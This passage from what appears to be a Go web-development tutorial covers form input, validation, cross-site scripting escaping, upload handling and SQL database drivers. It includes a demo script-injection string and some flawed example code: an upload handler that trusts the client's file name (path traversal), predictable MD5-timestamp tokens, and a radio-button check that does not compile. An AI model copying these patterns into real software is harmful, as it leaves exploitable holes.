        fmt.Println("val:", strings.Join(v, ""))
    }
    fmt.Fprintf(w, "Hello astaxie!") // write data to response
}

func login(w http.ResponseWriter, r *http.Request) {
    fmt.Println("method:", r.Method) //get request method
    if r.Method == "GET" {
        t, _ := template.ParseFiles("login.gtpl")
        t.Execute(w, nil)
    } else {
        r.ParseForm()
        // logic part of log in
        fmt.Println("username:", r.Form["username"])
        fmt.Println("password:", r.Form["password"])
    }
}
    
func main() {
    http.HandleFunc("/", sayhelloName) // setting router rule
    http.HandleFunc("/login", login)
    err := http.ListenAndServe(":9090", nil) // setting listening port
    if err != nil {
        log.Fatal("ListenAndServe: ", err)
    }
}

Here we use r.Method to get the request method, and it returns an http verb -“GET”, “POST”, “PUT”, etc.

In the login function, we use r.Method to check whether it’s a login page or login processing logic. In other words, we check to see whether the user is simply opening the page, or trying to log in. Serve shows the page only when the request comes in via the GET method, and it executes the login logic when the request uses the POST method.

You should see the following interface after opening http://127.0.0.1:9090/login in your browser.
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Figure 4.1 User login interface

The server will not print anything until after we type in a username and password, because the handler doesn’t parse the form until we call r.ParseForm(). Let’s add r.ParseForm() before fmt.Println("username:", r.Form["username"]), compile our program and test it again. You will find that the information is printed on the server side now.

r.Form contains all of the request arguments, for instance the query-string in the URL and the data in POST and PUT. If the data has conflicts, for example parameters that have the same name, the server will save the data into a slice with multiple values. The Go documentation states that Go will save the data from GET and POST requests in different places.

Try changing the value of the action in the form http://127.0.0.1:9090/login to http://127.0.0.1:9090/login?username=astaxie in the login.gtpl file, test it again, and you will see that the slice is printed on the server side.
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Figure 4.2 Server prints request data

The type of request.Form is url.Value. It saves data with the format key=value.

v := url.Values{}
v.Set("name", "Ava")
v.Add("friend", "Jess")
v.Add("friend", "Sarah")
v.Add("friend", "Zoe")
// v.Encode() == "name=Ava&friend=Jess&friend=Sarah&friend=Zoe"
fmt.Println(v.Get("name"))
fmt.Println(v.Get("friend"))
fmt.Println(v["friend"])

Tips Requests have the ability to access form data using the FormValue() method. For example, you can change r.Form["username"] to r.FormValue("username"), and Go calls r.ParseForm automatically. Notice that it returns the first value if there are arguments with the same name, and it returns an empty string if there is no such argument.





23.1 Links


	Directory

	Previous section: User form

	Next section: Verification of inputs







24 4.2 Verification of inputs

One of the most important principles in web development is that you cannot trust anything from client side user forms. You have to verify all incoming data before use it. Many websites are affected by this problem, which is simple yet crucial.

There are two ways of verify form data that are commonly used. One is JavaScript verification in the front-end, and the other is server verification in the back-end. In this section, we are going to talk about server side verification in web development.





24.1 Required fields

Sometimes we require that users input some fields but they don’t, for example in the previous section when we required a username. You can use the len function to get the length of a field in order to ensure that users have entered this information.

if len(r.Form["username"][0])==0{
    // code for empty field
}

r.Form treats different form element types differently when they are blank. For empty textboxes, text areas and file uploads, it returns an empty string; for radio buttons and check boxes, it doesn’t even create the corresponding items. Instead, you will get errors if you try to access it. Therefore, it’s safer to use r.Form.Get() to get field values since it will always return empty if the value does not exist. On the other hand, r.Form.Get() can only get one field value at a time, so you need to use r.Form to get the map of values.





24.2 Numbers

Sometimes you only need numbers for the field value. For example, let’s say that you require the age of a user in integer form only, i.e 50 or 10, instead of “old enough” or “young man”. If we require a positive number, we can convert the value to the int type first, then process it.

getint,err:=strconv.Atoi(r.Form.Get("age"))
if err!=nil{
    // error occurs when convert to number, it may not a number
}

// check range of number
if getint >100 {
    // too big
}

Another way to do this is using regular expressions.

if m, _ := regexp.MatchString("^[0-9]+$", r.Form.Get("age")); !m {
    return false
}

For high performance purposes, regular expressions are not efficient, however simple regular expressions are usually fast enough. If you are familiar with regular expressions, it’s a very convenient way to verify data. Notice that Go uses RE2, so all UTF-8 characters are supported.





24.3 Chinese

Sometimes we need users to input their Chinese names and we have to verify that they all use Chinese rather than random characters. For Chinese verification, regular expressions are the only way.

if m, _ := regexp.MatchString("^[\\x{4e00}-\\x{9fa5}]+$", r.Form.Get("realname")); !m {
    return false
}





24.4 English letters

Sometimes we need users to input only English letters. For example, we require someone’s English name, like astaxie instead of asta谢. We can easily use regular expressions to perform our verification.

if m, _ := regexp.MatchString("^[a-zA-Z]+$", r.Form.Get("engname")); !m {
    return false
}





24.5 E-mail address

If you want to know whether users have entered valid E-mail addresses, you can use the following regular expression:

if m, _ := regexp.MatchString(`^([\w\.\_]{2,10})@(\w{1,}).([a-z]{2,4})$`, r.Form.Get("email")); !m {
    fmt.Println("no")
}else{
    fmt.Println("yes")
}





24.6 Drop down list

Let’s say we require an item from our drop down list, but instead we get a value fabricated by hackers. How do we prevent this from happening?

Suppose we have the following <select>:

<select name="fruit">
<option value="apple">apple</option>
<option value="pear">pear</option>
<option value="banana">banana</option>
</select>

We can use the following strategy to sanitize our input:

slice:=[]string{"apple","pear","banana"}

for _, v := range slice {
    if v == r.Form.Get("fruit") {
        return true
    }
}
return false

All the functions I’ve shown above are in my open source project for operating on slices and maps: https://github.com/astaxie/beeku





24.7 Radio buttons

If we want to know whether the user is male or female, we may use a radio button, returning 1 for male and 2 for female. However, some little kid who just read his first book on HTTP, decides to send to you a 3. Will your program have have exception? As you can see, we need to use the same method as we did for our drop down list to make sure that only expected values are returned by our radio button.

<input type="radio" name="gender" value="1">Male
<input type="radio" name="gender" value="2">Female

And we use following code to verify the input:

slice:=[]int{1,2}

for _, v := range slice {
    if v == r.Form.Get("gender") {
        return true
    }
}
return false





24.8 Check boxes

Suppose there are some check boxes for user interests, and that you don’t want extraneous values here either.

<input type="checkbox" name="interest" value="football">Football
<input type="checkbox" name="interest" value="basketball">Basketball
<input type="checkbox" name="interest" value="tennis">Tennis

In this case, the sanitization is a little bit different than verifying the button and check box inputs since here we get a slice from the check boxes.

slice:=[]string{"football","basketball","tennis"}
a:=Slice_diff(r.Form["interest"],slice)
if a == nil{
    return true
}

return false 





24.9 Date and time

Suppose you want users to input valid dates or times. Go has the time package for converting year, month and day to their corresponding times. After that, it’s easy to check it.

t := time.Date(2009, time.November, 10, 23, 0, 0, 0, time.UTC)
fmt.Printf("Go launched at %s\n", t.Local())

After you have the time, you can use the time package for more operations, depending on your needs.

In this section, we’ve discussed some common methods for verifying form data server side. I hope that you now understand more about data verification in Go, especially how to use regular expressions to your advantage.





24.10 Links
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25 4.3 Cross site scripting

Today’s websites have much more dynamic content in order to improve user experience, which means that we must provide dynamic information depending on every individual’s behavior. Unfortunately, there is a thing called “Cross site scripting” (known as “XSS”) always attacking dynamic websites, from which static websites are completely fine at this time.

Attackers often inject malicious scripts like JavaScript, VBScript, ActiveX or Flash into those websites that have loopholes. Once they have successfully injected their scripts, user information can be stolen and your website can be flooded with spam. The attackers can also change user settings to whatever they want.

If you want to prevent this kind of attack, you should combine the two following approaches:


	Verification of all data from users, which we talked about in the previous section.

	Carefully handle data that will be sent to clients in order to prevent any injected scripts from running on browsers.



So how can we do these two things in Go? Fortunately, the html/template package has some useful functions to escape data as follows:


	func HTMLEscape(w io.Writer, b []byte) escapes b to w.

	func HTMLEscapeString(s string) string returns a string after escaping from s.

	func HTMLEscaper(args ...interface{}) string returns a string after escaping from multiple arguments.



Let’s change the example in section 4.1:

fmt.Println("username:", template.HTMLEscapeString(r.Form.Get("username"))) // print at server side
fmt.Println("password:", template.HTMLEscapeString(r.Form.Get("password")))
template.HTMLEscape(w, []byte(r.Form.Get("username"))) // responded to clients

If someone tries to input the username as <script>alert()</script>, we will see the following content in the browser:
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Figure 4.3 JavaScript after escaped

Functions in the html/template package help you to escape all HTML tags. What if you just want to print <script>alert()</script> to browsers? You should use text/template instead.

import "text/template"
...
t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`)
err = t.ExecuteTemplate(out, "T", "<script>alert('you have been pwned')</script>")

Output:

Hello, <script>alert('you have been pwned')</script>!

Or you can use the template.HTML type :

Variable content will not be escaped if its type is template.HTML.

import "html/template"
...
t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`)
err = t.ExecuteTemplate(out, "T", template.HTML("<script>alert('you have been pwned')</script>"))

Output:

Hello, <script>alert('you have been pwned')</script>!

One more example of escaping:

import "html/template"
...
t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`)
err = t.ExecuteTemplate(out, "T", "<script>alert('you have been pwned')</script>")

Output:

Hello, &lt;script&gt;alert(&#39;you have been pwned&#39;)&lt;/script&gt;!
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26 4.4 Duplicate submissions

I don’t know if you’ve ever seen some blogs or BBS’ that have more than one posts that are exactly the same, but I can tell you that it’s because users submitted duplicate post forms. There many things that can cause duplicate submissions; sometimes users just double click the submit button, or they want to modify some content after posting and press the back button. Other times it’s the intentional actions of malicious users. It’s easy to see how duplicate submissions can lead to many problems. Thus, we have to use effective means to prevent it.

The solution is to add a hidden field with a unique token to your form, and to always check this token before processing the incoming data. Also, if you are using Ajax to submit a form, use JavaScript to disable the submit button once the form has been submitted.

Let’s improve the example from section 4.2:

<input type="checkbox" name="interest" value="football">Football
<input type="checkbox" name="interest" value="basketball">Basketball
<input type="checkbox" name="interest" value="tennis">Tennis
Username:<input type="text" name="username">
Password:<input type="password" name="password">
<input type="hidden" name="token" value="{{.}}">
<input type="submit" value="Login">

We use an MD5 hash (time stamp) to generate the token, and added it to both a hidden field on the client side form and a session cookie on the server side (Chapter 6). We can then use this token to check whether or not this form was submitted.

func login(w http.ResponseWriter, r *http.Request) {
    fmt.Println("method:", r.Method) // get request method
    if r.Method == "GET" {
        crutime := time.Now().Unix()
        h := md5.New()
        io.WriteString(h, strconv.FormatInt(crutime, 10))
        token := fmt.Sprintf("%x", h.Sum(nil))

        t, _ := template.ParseFiles("login.gtpl")
        t.Execute(w, token)
    } else {
        // log in request
        r.ParseForm()
        token := r.Form.Get("token")
        if token != "" {
            // check token validity
        } else {
            // give error if no token
        }
        fmt.Println("username length:", len(r.Form["username"][0]))
        fmt.Println("username:", template.HTMLEscapeString(r.Form.Get("username"))) // print in server side
        fmt.Println("password:", template.HTMLEscapeString(r.Form.Get("password")))
        template.HTMLEscape(w, []byte(r.Form.Get("username"))) // respond to client
    }
}
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Figure 4.4 The content in browser after adding a token

You can refresh this page and you will see a different token every time. This ensures that every form is unique.

For now, you can prevent many duplicate submission attacks by adding tokens to your forms, but it cannot prevent all deceptive attacks of this type. There is much more work that needs to be done.
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27 4.5 File upload

Suppose you have a website like Instagram and you want users to upload their beautiful photos. How would you implement that functionality?

You have to add property enctype to the form that you want to use for uploading photos. There are three possible values for this property:

application/x-www-form-urlencoded   Transcode all characters before uploading (default).
multipart/form-data   No transcoding. You must use this value when your form has file upload controls.
text/plain    Convert spaces to "+", but no transcoding for special characters.

Therefore, the HTML content of a file upload form should look like this:

<html>
<head>
    <title>Upload file</title>
</head>
<body>
<form enctype="multipart/form-data" action="http://127.0.0.1:9090/upload" method="post">
    <input type="file" name="uploadfile" />
    <input type="hidden" name="token" value="{{.}}"/>
    <input type="submit" value="upload" />
</form>
</body>
</html>

We need to add a function on the server side to handle this form.

http.HandleFunc("/upload", upload)

// upload logic
func upload(w http.ResponseWriter, r *http.Request) {
    fmt.Println("method:", r.Method)
    if r.Method == "GET" {
        crutime := time.Now().Unix()
        h := md5.New()
        io.WriteString(h, strconv.FormatInt(crutime, 10))
        token := fmt.Sprintf("%x", h.Sum(nil))

        t, _ := template.ParseFiles("upload.gtpl")
        t.Execute(w, token)
    } else {
        r.ParseMultipartForm(32 << 20)
        file, handler, err := r.FormFile("uploadfile")
        if err != nil {
            fmt.Println(err)
            return
        }
        defer file.Close()
        fmt.Fprintf(w, "%v", handler.Header)
        f, err := os.OpenFile("./test/"+handler.Filename, os.O_WRONLY|os.O_CREATE, 0666)
        if err != nil {
            fmt.Println(err)
            return
        }
        defer f.Close()
        io.Copy(f, file)
    }
}

As you can see, we need to call r.ParseMultipartForm for uploading files. The function maxMemory argument. After you call ParseMultipartForm, the file will be saved in the server memory with maxMemory size. If the file size is larger than maxMemory, the rest of the data will be saved in a system temporary file. You can use r.FormFile to get the file handle and use io.Copy to save to your file system.

You don’t need to call r.ParseForm when you access other non-file fields in the form because Go will call it when it’s necessary. Also, calling ParseMultipartForm once is enough -multiple calls make no difference.

We use three steps for uploading files as follows:


	Add enctype="multipart/form-data" to your form.

	Call r.ParseMultipartForm on the server side to save the file either to memory or to a temporary file.

	Call r.FormFile to get the file handle and save to the file system.



The file handler is the multipart.FileHeader. It uses the following struct:

type FileHeader struct {
    Filename string
    Header   textproto.MIMEHeader
    // contains filtered or unexported fields
}
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Figure 4.5 Print information on server after receiving file.





27.1 Clients upload files

I showed an example of using a form to a upload a file. We can impersonate a client form to upload files in Go as well.

package main

import (
    "bytes"
    "fmt"
    "io"
    "io/ioutil"
    "mime/multipart"
    "net/http"
    "os"
)

func postFile(filename string, targetUrl string) error {
    bodyBuf := &bytes.Buffer{}
    bodyWriter := multipart.NewWriter(bodyBuf)

    // this step is very important
    fileWriter, err := bodyWriter.CreateFormFile("uploadfile", filename)
    if err != nil {
        fmt.Println("error writing to buffer")
        return err
    }

    // open file handle
    fh, err := os.Open(filename)
    if err != nil {
        fmt.Println("error opening file")
        return err
    }

    //iocopy
    _, err = io.Copy(fileWriter, fh)
    if err != nil {
        return err
    }

    contentType := bodyWriter.FormDataContentType()
    bodyWriter.Close()

    resp, err := http.Post(targetUrl, contentType, bodyBuf)
    if err != nil {
        return err
    }
    defer resp.Body.Close()
    resp_body, err := ioutil.ReadAll(resp.Body)
    if err != nil {
        return err
    }
    fmt.Println(resp.Status)
    fmt.Println(string(resp_body))
    return nil
}

// sample usage
func main() {
    target_url := "http://localhost:9090/upload"
    filename := "./astaxie.pdf"
    postFile(filename, target_url)
}

The above example shows you how to use a client to upload files. It uses multipart.Write to write files into cache and sends them to the server through the POST method.

If you have other fields that need to write into data, like username, call multipart.WriteField as needed.
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28 4.6 Summary

In this chapter, we mainly learned how to process form data in Go through several examples like logging in users and uploading files. We also emphasized that verifying user data is extremely important for website security, and we used one section to talk about how to filter data with regular expressions.

I hope that you now know more about the communication process between client and server.
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29 5 Database

For web developers, the database is at the core of web development. You can save almost anything into a database and query or update data inside it, like user information, products or news articles.

Go doesn’t provide any database drivers, but it does have a driver interface defined in the database/sql package. People can develop database drivers based on that interface. In section 5.1, we are going to talk about database driver interface design in Go; in sections 5.2 to 5.4, I will introduce some SQL database drivers to you; in section 5.5, i’ll present the ORM　that i’ve developed which is based on the database/sql interface standard. It’s compatible with most drivers that have implemented the database/sql interface, and it makes it easy to access databases idiomatically in Go.

NoSQL has been a hot topic in recent years. More websites are deciding to use NoSQL databases as their main database instead of just for the purpose of caching. I will introduce you to two NoSQL databases, which are MongoDB and Redis, in section 5.6.
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30 5.1 database/sql interface

Go doesn’t provide any official database drivers, unlike other languages like PHP which do. However, it does have some database driver interface standards for developers to develop database drivers with. The advantage is that if your code is developed according to these interface standards, you will not need to change any code if your database changes. Let’s see what these database interface standards are.





30.1 sql.Register

This function is in the database/sql package for registering database drivers when you use third-party database drivers. All of these should call the Register(name string, driver driver.Driver) function in init() in order to register themselves.

Let’s take a look at the corresponding mymysql and sqlite3 driver code:

//https://github.com/mattn/go-sqlite3 driver
func init() {
    sql.Register("sqlite3", &SQLiteDriver{})
}

//https://github.com/mikespook/mymysql driver
// Driver automatically registered in database/sql
var d = Driver{proto: "tcp", raddr: "127.0.0.1:3306"}
func init() {
    Register("SET NAMES utf8")
    sql.Register("mymysql", &d)
}

We see that all third-party database drivers have implemented this function to register themselves, and Go uses a map to save user drivers inside of database/sql.

var drivers = make(map[string]driver.Driver)

drivers[name] = driver

Therefore, this register function can register drivers as many as you want with different names.

We always see the following code when we use third-party drivers:

import (
    "database/sql"
    _ "github.com/mattn/go-sqlite3"
)

Here the underscore (also known as a ‘blank’) _ can be quite confusing for many beginners, but this is a great feature in Go. We already know that this identifier is for discarding values from function returns, and also that you must use all packages that you’ve imported in your code in Go. So when the blank is used with import, it means that you need to execute the init() function of that package without directly using it, which exactly fits the use-case for registering database drivers.





30.2 driver.Driver

Driver is an interface containing an Open(name string) method that returns a Conn interface.

type Driver interface {
    Open(name string) (Conn, error)
}

This is a one-time Conn, which means it can only be used once in one goroutine. The following code will cause errors to occur:

...
go goroutineA (Conn)  // query
go goroutineB (Conn)  // insert
...

Because Go has no idea which goroutine does what operation, the query operation may get the result of the insert operation, and vice-versa.

All third-party drivers should have this function to parse the name of Conn and return the correct results.





30.3 driver.Conn

This is a database connection interface with some methods, and as i’ve said above, the same Conn can only be used in one goroutine.

type Conn interface {
    Prepare(query string) (Stmt, error)
    Close() error
    Begin() (Tx, error)
}


	Prepare returns the prepare status of corresponding SQL commands for querying and deleting, etc.

	Close closes the current connection and cleans resources. Most third-party drivers implement some kind of connection pool, so you don’t need to cache connections unless you want to have unexpected errors.

	Begin returns a Tx that represents a transaction handle. You can use it for querying, updating, rolling back transactions, etc.







30.4 driver.Stmt

This is a ready status that corresponds with Conn, so it can only be used in one goroutine like Conn.

type Stmt interface {
    Close() error
    NumInput() int
    Exec(args []Value) (Result, error)
    Query(args []Value) (Rows, error)
}


	Close closes the current connection but still returns row data if it is executing a query operation.

	NumInput returns the number of obligate arguments. Database drivers should check their caller’s arguments when the result is greater than 0, and it returns -1 when database drivers don’t know any obligate argument.

	Exec executes the update/insert SQL commands prepared in Prepare, returns Result.

	Query executes the select SQL command prepared in Prepare, returns row data.







30.5 driver.Tx

Generally, transaction handles only have submit or rollback methods, and database drivers only need to implement these two methods.

type Tx interface {
    Commit() error
    Rollback() error
}





30.6 driver.Execer

This is an optional interface.

type Execer interface {
    Exec(query string, args []Value) (Result, error)
}

If the driver doesn’t implement this interface, when you call DB.Exec, it will automatically call Prepare, then return Stmt. After that it executes the Exec method of Stmt, then closes Stmt.





30.7 driver.Result

This is the interface for results of update/insert operations.

type Result interface {
    LastInsertId() (int64, error)
    RowsAffected() (int64, error)
}


	LastInsertId returns auto-increment Id number after a database insert operation.

	RowsAffected returns rows that were affected by query operations.







30.8 driver.Rows

This is the interface for the result of a query operation.

type Rows interface {
    Columns() []string
    Close() error
    Next(dest []Value) error
}


	Columns returns field information of database tables. The slice has a one-to-one correspondence with SQL query fields only, and does not return all fields of that database table.

	Close closes Rows iterator.

	Next returns next data and assigns to dest, converting all strings into byte arrays, and gets io.EOF error if no more data is available.







30.9 driver.RowsAffected

This is an alias of int64, but it implements the Result interface.

type RowsAffected int64

func (RowsAffected) LastInsertId() (int64, error)

func (v RowsAffected) RowsAffected() (int64, error)





30.10 driver.Value

This is an empty interface that can contains any kind of data.

type Value interface{}

The Value must be something that drivers can operate on or nil, so it should be one of following types:

int64
float64
bool
[]byte
string   [*] Except Rows.Next which cannot return string
time.Time





30.11 driver.ValueConverter

This defines an interface for converting normal values to driver.Value.

type ValueConverter interface {
    ConvertValue(v interface{}) (Value, error)
}

This interface is commonly used in database drivers and has many useful features:


	Converts driver.Value to a corresponding database field type, for example converts int64 to uint16.

	Converts database query results to driver.Value.

	Converts driver.Value to a user defined value in the scan function.







30.12 driver.Valuer

This defines an interface for returning driver.Value.

type Valuer interface {
    Value() (Value, error)
}

Many types implement this interface for conversion between driver.Value and itself.

At this point, you should know a bit about developping database drivers in Go. Once you can implement interfaces for operations like add, delete, update, etc., there are only a few problems left related to communicating with specific databases.





30.13 database/sql

databse/sql defines even more high-level methods on top of database/sql/driver for more convenient database operations, and it suggests that you implement a connection pool.

type DB struct {
    driver   driver.Driver
    dsn      string
    mu       sync.Mutex // protects freeConn and closed
    freeConn []driver.Conn
    closed   bool
}

As you can see, the Open function returns a DB that has a freeConn, and this is a simple connection pool. Its implementation is very simple and ugly. It uses defer db.putConn(ci, err) in the Db.prepare function to put a connection into the connection pool. Everytime you call the Conn function, it checks the length of freeCoon. If it’s greater than 0, that means there is a reusable connection and it directly returns to you. Otherwise it creates a new connection and returns.





30.14 Links


	Directory

	Previous section: Database

	Next section: MySQL







31 5.2 MySQL

The LAMP stack has been very popular on the internet in recent years, and the M in LAMP stand for MySQL. MySQL is famous because it’s open source and easy to use. As such, it became the defacto database in the back-ends of many websites.





31.1 MySQL drivers

There are a couple of drivers that support MySQL in Go. Some of them implement the database/sql interface, and others use their own interface standards.


	https://github.com/go-sql-driver/mysql supports database/sql, written in pure Go.

	https://github.com/ziutek/mymysql supports database/sql and user defined interfaces, written in pure Go.

	https://github.com/Philio/GoMySQL only supports user defined interfaces, written in pure Go.



I’ll use the first driver in the following examples (I use this one in my personal projects too), and I also recommend that you use it for the following reasons:


	It’s a new database driver and supports more features.

	Fully supports databse/sql interface standards.

	Supports keepalive, long connections with thread-safety.







31.2 Samples

In the following sections, I’ll use the same database table structure for different databases, then create SQL as follows:

CREATE TABLE `userinfo` (
    `uid` INT(10) NOT NULL AUTO_INCREMENT,
    `username` VARCHAR(64) NULL DEFAULT NULL,
    `departname` VARCHAR(64) NULL DEFAULT NULL,
    `created` DATE NULL DEFAULT NULL,
    PRIMARY KEY (`uid`)
);

The following example shows how to operate on a database based on the database/sql interface standards.

package main

import (
    _ "github.com/go-sql-driver/mysql"
    "database/sql"
    "fmt"
)

func main() {
    db, err := sql.Open("mysql", "astaxie:astaxie@/test?charset=utf8")
    checkErr(err)

    // insert
    stmt, err := db.Prepare("INSERT userinfo SET username=?,departname=?,created=?")
    checkErr(err)

    res, err := stmt.Exec("astaxie", "研发部门", "2012-12-09")
    checkErr(err)

    id, err := res.LastInsertId()
    checkErr(err)

    fmt.Println(id)
    // update
    stmt, err = db.Prepare("update userinfo set username=? where uid=?")
    checkErr(err)

    res, err = stmt.Exec("astaxieupdate", id)
    checkErr(err)

    affect, err := res.RowsAffected()
    checkErr(err)

    fmt.Println(affect)

    // query
    rows, err := db.Query("SELECT * FROM userinfo")
    checkErr(err)

    for rows.Next() {
        var uid int
        var username string
        var department string
        var created string
        err = rows.Scan(&uid, &username, &department, &created)
        checkErr(err)
        fmt.Println(uid)
        fmt.Println(username)
        fmt.Println(department)
        fmt.Println(created)
    }

    // delete
    stmt, err = db.Prepare("delete from userinfo where uid=?")
    checkErr(err)

    res, err = stmt.Exec(id)
    checkErr(err)

    affect, err = res.RowsAffected()
    checkErr(err)

    fmt.Println(affect)

    db.Close()

}

func checkErr(err error) {
    if err != nil {
        panic(err)
    }
}

Let me explain a few of the important functions here:


	sql.Open() opens a registered database driver. The Go-MySQL-Driver registered the mysql driver here. The second argument is the DSN (Data Source Name) that defines information pertaining to the database connection. It supports following formats:

user@unix(/path/to/socket)/dbname?charset=utf8
user:password@tcp(localhost:5555)/dbname?charset=utf8
user:password@/dbname
user:password@tcp([de:ad:be:ef::ca:fe]:80)/dbname


	db.Prepare() returns a SQL operation that is going to be executed. It also returns the execution status after executing SQL.

	db.Query() executes SQL and returns a Rows result.

	stmt.Exec() executes SQL that has been prepared and stored in Stmt.




Note that we use the format =? to pass arguments. This is necessary for preventing SQL injection attacks.





31.3 Links


	Directory

	Previous section: database/sql interface

	Next section: SQLite







32 5.3 SQLite

SQLite is an open source, embedded relational database. It has a self-contained, zero-configuration and transaction-supported database engine. Its characteristics are highly portable, easy to use, compact, efficient and reliable. In most of cases, you only need a binary file of SQLite to create, connect and operate a database. If you are looking for an embedded database solution, SQLite is worth considering. You can say SQLite is the open source version of Access.





32.1 SQLite drivers

There are many database drivers for SQLite in Go, but many of them do not support the database/sql interface standards.


	https://github.com/mattn/go-sqlite3 supports database/sql, based on cgo.

	https://github.com/feyeleanor/gosqlite3 doesn’t support database/sql, based on cgo.

	https://github.com/phf/go-sqlite3 doesn’t support database/sql, based on cgo.



The first driver is the only one that supports the database/sql interface standard in its SQLite driver, so I use this in my projects -it will make it easy to migrate my code in the future if I need to.





32.2 Samples

We create the following SQL:

CREATE TABLE `userinfo` (
    `uid` INTEGER PRIMARY KEY AUTOINCREMENT,
    `username` VARCHAR(64) NULL,
    `departname` VARCHAR(64) NULL,
    `created` DATE NULL
);

An example:

package main

import (
    "database/sql"
    "fmt"
    "time"
    _ "github.com/mattn/go-sqlite3"
)

func main() {
    db, err := sql.Open("sqlite3", "./foo.db")
    checkErr(err)

    // insert
    stmt, err := db.Prepare("INSERT INTO userinfo(username, departname, created) values(?,?,?)")
    checkErr(err)

    res, err := stmt.Exec("astaxie", "研发部门", "2012-12-09")
    checkErr(err)

    id, err := res.LastInsertId()
    checkErr(err)

    fmt.Println(id)
    // update
    stmt, err = db.Prepare("update userinfo set username=? where uid=?")
    checkErr(err)

    res, err = stmt.Exec("astaxieupdate", id)
    checkErr(err)

    affect, err := res.RowsAffected()
    checkErr(err)

    fmt.Println(affect)

    // query
    rows, err := db.Query("SELECT * FROM userinfo")
    checkErr(err)

    for rows.Next() {
        var uid int
        var username string
        var department string
        var created time.Time
        err = rows.Scan(&uid, &username, &department, &created)
        checkErr(err)
        fmt.Println(uid)
        fmt.Println(username)
        fmt.Println(department)
        fmt.Println(created)
    }

    // delete
    stmt, err = db.Prepare("delete from userinfo where uid=?")
    checkErr(err)

    res, err = stmt.Exec(id)
    checkErr(err)

    affect, err = res.RowsAffected()
    checkErr(err)

    fmt.Println(affect)

    db.Close()

}

func checkErr(err error) {
    if err != nil {
        panic(err)
    }
}

You may have noticed that the code is almost the same as in the previous section, and that we only changed the name of the registered driver and called sql.Open to connect to SQLite in a different way.

As a final note on this secton, there is a useful SQLite management tool available: http://sqliteadmin.orbmu2k.de/





32.3 Links


	Directory

	Previous section: MySQL

	Next section: PostgreSQL







33 5.4 PostgreSQL

PostgreSQL is an object-relational database management system available for many platforms including Linux, FreeBSD, Solaris, Microsoft Windows and Mac OS X. It is released under an MIT-style license, and is thus free and open source software. It’s larger than MySQL because it’s designed for enterprise usage like Oracle. Postgresql is good choice for enterprise type projects.





33.1 PostgreSQL drivers

There are many database drivers available for PostgreSQL. Here are three examples of them:


	https://github.com/lib/pq supports database/sql, written in pure Go.

	https://github.com/jbarham/gopgsqldriver supports database/sql, written in pure Go.

	https://github.com/lxn/go-pgsql supports database/sql, written in pure Go.



I’ll use the first one in my following examples.





33.2 Samples

We create the following SQL:

CREATE TABLE userinfo
(
    uid serial NOT NULL,
    username character varying(100) NOT NULL,
    departname character varying(500) NOT NULL,
    Created date,
    CONSTRAINT userinfo_pkey PRIMARY KEY (uid)
)
WITH (OIDS=FALSE);

An example:

package main

import (
    "database/sql"
    "fmt"
    _ "github.com/lib/pq"
    "time"
)

const (
    DB_USER     = "postgres"
    DB_PASSWORD = "postgres"
    DB_NAME     = "test"
)

func main() {
    dbinfo := fmt.Sprintf("user=%s password=%s dbname=%s sslmode=disable",
        DB_USER, DB_PASSWORD, DB_NAME)
    db, err := sql.Open("postgres", dbinfo)
    checkErr(err)
    defer db.Close()

    fmt.Println("# Inserting values")

    var lastInsertId int
    err = db.QueryRow("INSERT INTO userinfo(username,departname,created) VALUES($1,$2,$3) returning uid;", "astaxie", "研发部门", "2012-12-09").Scan(&lastInsertId)
    checkErr(err)
    fmt.Println("last inserted id =", lastInsertId)

    fmt.Println("# Updating")
    stmt, err := db.Prepare("update userinfo set username=$1 where uid=$2")
    checkErr(err)

    res, err := stmt.Exec("astaxieupdate", lastInsertId)
    checkErr(err)

    affect, err := res.RowsAffected()
    checkErr(err)

    fmt.Println(affect, "rows changed")

    fmt.Println("# Querying")
    rows, err := db.Query("SELECT * FROM userinfo")
    checkErr(err)

    for rows.Next() {
        var uid int
        var username string
        var department string
        var created time.Time
        err = rows.Scan(&uid, &username, &department, &created)
        checkErr(err)
        fmt.Println("uid | username | department | created ")
        fmt.Printf("%3v | %8v | %6v | %6v\n", uid, username, department, created)
    }

    fmt.Println("# Deleting")
    stmt, err = db.Prepare("delete from userinfo where uid=$1")
    checkErr(err)

    res, err = stmt.Exec(lastInsertId)
    checkErr(err)

    affect, err = res.RowsAffected()
    checkErr(err)

    fmt.Println(affect, "rows changed")
}

func checkErr(err error) {
    if err != nil {
        panic(err)
    }
}

Note that PostgreSQL uses the $1, $2 format instead of the ? that MySQL uses, and it has a different DSN format in sql.Open.

Another thing is that the Postgres driver does not support sql.Result.LastInsertId().

So instead of this,

stmt, err := db.Prepare("INSERT INTO userinfo(username,departname,created) VALUES($1,$2,$3);")
res, err := stmt.Exec("astaxie", "研发部门", "2012-12-09")
fmt.Println(res.LastInsertId())

use db.QueryRow() and .Scan() to get the value for the last inserted id.

err = db.QueryRow("INSERT INTO TABLE_NAME values($1) returning uid;",   VALUE1").Scan(&lastInsertId)
fmt.Println(lastInsertId)





33.3 Links


	Directory

	Previous section: SQLite

	Next section: Develop ORM based on beedb







34 5.5 Develop ORM based on beedb

( Project beedb is no longer maintained, but the code s still there )

beedb is an ORM ( object-relational mapper ) developed in Go, by me.

It uses idiomatic Go to operate on databases, implementing struct to database mapping and acts as a lightweight Go ORM framework. The purpose of developing this ORM is not only to help people learn how to write an ORM, but also to find a good balance between functionality and performance when it comes to data persistence.

beedb is an open source project that supports basic ORM functionality, but doesn’t support association queries.

Because beedb supports database/sql interface standards, any driver that implements this interface can be used with beedb. I’ve tested the following drivers:

Mysql: github/go-mysql-driver/mysql

PostgreSQL: github.com/lib/pq

SQLite: github.com/mattn/go-sqlite3

Mysql: github.com/ziutek/mymysql/godrv

MsSql: github.com/denisenkom/go-mssqldb

MS ADODB: github.com/mattn/go-adodb

Oracle: github.com/mattn/go-oci8

ODBC: bitbucket.org/miquella/mgodbc





34.1 Installation

You can use go get to install beedb locally.

go get github.com/astaxie/beedb





34.2 Initialization

First, you have to import all the necessary packages:

import (
    "database/sql"
    "github.com/astaxie/beedb"
    _ "github.com/ziutek/mymysql/godrv"
)

Then you need to open a database connection and create a beedb object (MySQL in this example):

db, err := sql.Open("mymysql", "test/xiemengjun/123456")
if err != nil {
    panic(err)
}
orm := beedb.New(db)

beedb.New() actually has two arguments. The first is the the database object, and the second is for indicating which database engine you’re using. If you’re using MySQL/SQLite, you can just skip the second argument.

